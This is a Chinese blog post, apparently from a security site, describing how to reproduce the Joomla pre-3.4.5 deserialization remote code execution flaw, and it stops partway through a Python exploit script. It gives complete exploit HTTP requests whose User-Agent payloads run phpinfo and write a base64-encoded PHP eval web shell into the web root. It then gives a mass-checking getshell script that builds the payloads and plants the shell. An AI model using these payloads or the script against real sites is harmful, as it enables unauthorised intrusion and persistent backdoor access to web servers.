机窝安全--Joomla反序列化通杀漏洞（版本低于3.4.5）复现的那些坑

这是最近流出来的一个漏洞，利用Joomla反序列化可以造成远程代码执行。关于该漏洞的分析可以参考一下链接： [出自:jiwo.org]

wooyun drops上的：http://drops.wooyun.org/papers/11330

Freebuf上的：http://www.freebuf.com/vuls/89754.html

360播报上的：http://bobao.360.cn/learning/detail/2501.html

自定义生成Exp序列化的程序：http://sandbox.onlinephpfunctions.com/code/d7a86325f725cbe9e7a60ef696d65593f6abdc1f

在这里，记录一下我自己复现漏洞时候遇到的坑。细节很重要呐，最后复现成功才发现问题所在。

首先是关于phpinfo的代码执行，这个复现起来比较简单。Exp如下：

GET /joomla/ HTTP/1.1

Host: 192.168.145.130

User-Agent: }__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:31:"phpinfo();JFactory::get();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}~Ù

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Connection: keep-alive

Cache-Control: max-age=0

首先是发送带Exp的包，获取cookie:

然后用获取的cookies再次发包即可完成代码执行：

这里要特别注意截断的那几个字符是不是正确，这个是关键。看一下那几个字符（只要是utf-8中4字节的都可以，范围U+010000至U+10FFFF，具体原因可以参照前面漏洞分析）：

好了，关于代码执行的复现到此为止。

我们接下来完成一句话的复现，在这里花了比较多的时间。我采用的是file_put_contents函数来写入一句话，这里特别强调一点，写入的地址是要使用路径绝对地址的，不然写入不成功。坑呀！

关于Web服务器网站路径，可以在phpinfo执行的时候获取到，然后拼接出shell的地址即可。对要写入的内容可以用base64先编码，然后file_put_contents的时候解码即可。

Exp的内容如下：

GET /joomla/ HTTP/1.1

Host: 192.168.145.130

User-Agent: }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:143:"file_put_contents('E://xampp//htdocs//Joomla//shell.php',base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7ID8+'));;JFactory::getConfig();exit";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}ðŒ†

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

X-Forwarded-For: 8.8.8.8

DNT: 1

Connection: keep-alive

Cache-Control: max-age=0

看下成功的Exp截图：

获取shell的流程和之前是一样的，先发送带Exp的包，然后包含获取的cookie的包，即可写入一句话了。

最后，修改了一个可以Getshell的利用脚本：

#!/usr/bin/env python

import requests

import sys

import time

import re

def rceJoomla(value):

    now = time.strftime('%H:%M:%S',time.localtime(time.time()))

    print "["+str(now)+"] [INFO] Checking Joomla 1.5 - 3.4.5 Remote Code Execution..."

    if 'http://' in value or 'https://' in value:

      url=value

      checkJoomlaRCE(url)

def checkJoomlaRCE(url):

    url = url.strip()

    reg = 'http[s]*://.*/$'

    m = re.match(reg,url)

    if not m:

        url = url + "/"

    poc = generate_payload("phpinfo();")

    try:

        result = get_url(url, poc)

        if 'phpinfo()' in result:

            system = getInfoByJoomlaRCE(result, 'System')

            document_root = getInfoByJoomlaRCE(result, 'DOCUMENT_ROOT')

            script_filename = getInfoByJoomlaRCE(result, 'SCRIPT_FILENAME')

            shell_file = getShellByJoomlaRCE(url, system, script_filename)

            vuls='[+]vuls found! url: '+url+'\n[+]System: '+system+'\n[+]document_root: '+document_root+'\n[+]script_filename: '+script_filename+'\n[+]shell_file: '+shell_file

            print vuls

        else:

            print '[!] no vuls! url: '+url

    except Exception,e:

        print '[!] connection failed! url: '+url

def get_url(url, user_agent):

    headers = {

    'User-Agent': user_agent

    cookies = requests.get(url,headers=headers).cookies

    for _ in range(3):

        response = requests.get(url, timeout=10, headers=headers, cookies=cookies)

    return response.content

def generate_payload(php_payload):

    php_payload = php_payload

    terminate = '\xf0\x9d\x8c\x86'

    exploit_template = r'''}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";'''

    injected_payload = "{};JFactory::getConfig();exit".format(php_payload)

    exploit_template += r'''s:{0}:"{1}"'''.format(str(len(injected_payload)), injected_payload)

    exploit_template += r''';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}''' + terminate

    # print exploit_template

    return exploit_template

def getInfoByJoomlaRCE(result, param):

    if "System" in param:

        reg = '.*<tr><td class="e">System